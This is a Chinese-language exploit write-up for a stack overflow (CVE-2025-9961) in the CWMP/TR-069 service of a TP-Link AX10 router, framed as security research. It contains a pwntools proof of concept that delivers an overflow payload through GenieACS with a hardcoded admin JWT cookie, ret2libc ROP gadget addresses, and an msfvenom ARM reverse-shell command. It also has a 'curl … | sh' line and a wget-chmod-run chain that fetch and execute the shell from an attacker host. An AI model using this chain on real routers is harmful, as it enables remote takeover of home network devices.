
攻击流程与自定义ACS搭建
在实际利用过程中,我们发现最初的Python PoC在通过GenieACS传输时遇到了限制。GenieACS的UI/数据管道无法完整传输0x00至0xFF的全部字节范围,仅保留了可打印字节和一部分不可打印字节,这破坏了二进制载荷的完整性,使得可靠的漏洞利用无法实现。这一限制迫使我们转向另一种方案——搭建自己的自动配置服务器(ACS)。
PoC代码与分析
以下是为利用该漏洞而编写的初始PoC代码片段,它尝试通过设置特定参数来触发溢出。
from pwn import *
import json
# CWMP服务器详情(需根据实际情况修改)
host = "192.168.0.59" # 替换为调制解调器的IP
port = 3000 # 默认的TR-069端口
elf = context.binary = ELF("./cwmp")
stack_buffer_size = 3108
rop = ROP(elf)
rop.raw("A" * stack_buffer_size + "BBBB")
payload_array = [
{
"name": "setParameterValues",
"parameterValues": [
[
"InternetGatewayDevice.DeviceInfo.ProvisioningCode",
rop.chain().decode("ascii"),
"xsd:string",
]
],
}
]
formatted = json.dumps(payload_array)
# 用于设置参数的SOAP XML示例
soap_request = f"""\
POST /api/devices/9CA2F4-IGD-9CA2F464D794/tasks HTTP/1.1
Host: {host}
Accept: application/json, text/*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36
Content-Type: application/json; charset=UTF-8
Content-Length: {len(formatted)}
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: genieacs-ui-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzQwNDYxOTY2fQ.PpJIl2bvrrnEBeiWU9JwQnfNwYWHH9M7jY2VjhOQMFo
{formatted}
""".replace("\n", "\r\n")
data = soap_request.encode()
with open("poc", "wb") as f:
f.write(data)
f.close()
conn = remote(host, port)
conn.send(data)
response = conn.recvall()
response_str = response.decode("utf-8", errors="ignore")
# 分割头部和主体
parts = response_str.split("\r\n\r\n", 1) # 在第一个空行处分割
if len(parts) > 1:
json_body = parts[1].strip() # 提取JSON部分
else:
log.error("Error: No JSON body found in the response")
json_body = ""
try:
response_json = json.loads(json_body) # 解析提取的JSON
# 如果响应是列表,则获取第一个对象
if isinstance(response_json, list) and response_json:
response_json = response_json[0]
if response_json.get("status") == "done":
log.success("Successfully Exploited")
else:
log.error("Something bad happened")
except json.JSONDecodeError as e:
log.error("JSON decoding failed:", e)
log.info("Extracted JSON body:", json_body)
conn.close()
为了验证网络流量,我们捕获了数据包进行回放分析:

当我们尝试用随机不可打印字节“\x01\x02\xab\xff”覆盖程序计数器(PC)时,可以通过Wireshark确认这些字节是否成功通过网络传输:

最小化自定义ACS实现
由于协议交互步骤清晰,我们可以构建一个最小化的自定义ACS来复现整个漏洞触发过程:
- 步骤 1:向设备发送初始化请求。
- 步骤 2:从设备的响应中解析其CPE标识符,这是后续步骤所必需的。
- 步骤 3:设置会话Cookie,并最终发送包含我们精心构造的恶意载荷的
SetParameterValues 请求。
绕过ASLR与漏洞利用挑战
由于系统启用了地址空间布局随机化(ASLR),并且没有可行的地址泄露途径,这使得漏洞利用并非完全可靠,我们必须采用暴力破解的方式来猜测内存基址。
暴力破解带来了新的挑战:如果猜测的基地址不正确,CWMP服务将会因段错误(SIGSEGV)而崩溃。不过,我们拥有TP-Link Web控制面板的访问权限,可以借此重启服务。这个因素被纳入到最终的漏洞利用代码设计中,构成了一次完整的网络安全漏洞利用链。
实现远程代码执行
我们最终通过ret2libc攻击实现了代码执行,目标是调用libc库中的 system() 函数。反向shell的获取步骤如下:
- 生成ARM32架构的ELF载荷:使用
msfvenom生成一个用于获取反向shell的ELF文件。
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=[攻击者IP] LPORT=[监听端口] -f elf -o app
- 搭建HTTP分发服务器:在攻击机上启动一个简单的HTTP服务器,用于在最后阶段分发上面生成的恶意文件。
$ python3 -m http.server
- 构造ROP链:计算并定位所需gadget、
system()函数地址以及堆栈中的命令字符串地址。需要注意的是,即使PIE(位置无关可执行文件)被禁用,CWMP二进制本身的小工具也无法使用,因为其地址中包含“\x00”字节,会导致载荷被截断。
buf+= p32(0xb6d7d730) # pop {r0,pc}
buf+= p32(0xb6a88d90) # cmd address (stack) (curl ...)
buf+= p32(0xb6ca96c8) # system()
- 传递命令:通过ROP链向
system() 函数传递以下命令:
buf+= b"curl http://192.168.0.59:8000/show | sh"
其中,show 文件的内容用于下载并执行反向shell程序:
wget http://[攻击者IP]:8000/app -O /tmp/app && chmod +x /tmp/app && /tmp/app

总结
本研究成功演示了TP-Link AX10路由器CWMP服务中基于栈的缓冲区溢出漏洞(CVE-2025-9961)的完整利用过程。通过构建自定义ACS、暴力破解ASLR并执行ret2libc攻击,我们最终实现了远程代码执行。这项工作凸显了保护TR-069等远程管理协议的重要性,并再次证明,即使是网络服务中微小的解析错误,也可能演变为严重的渗透测试案例。研究结果也强调了保持固件及时更新的必要性。完整的漏洞利用代码和PoC已上传至GitHub,供安全研究人员在受控环境中进行参考和测试。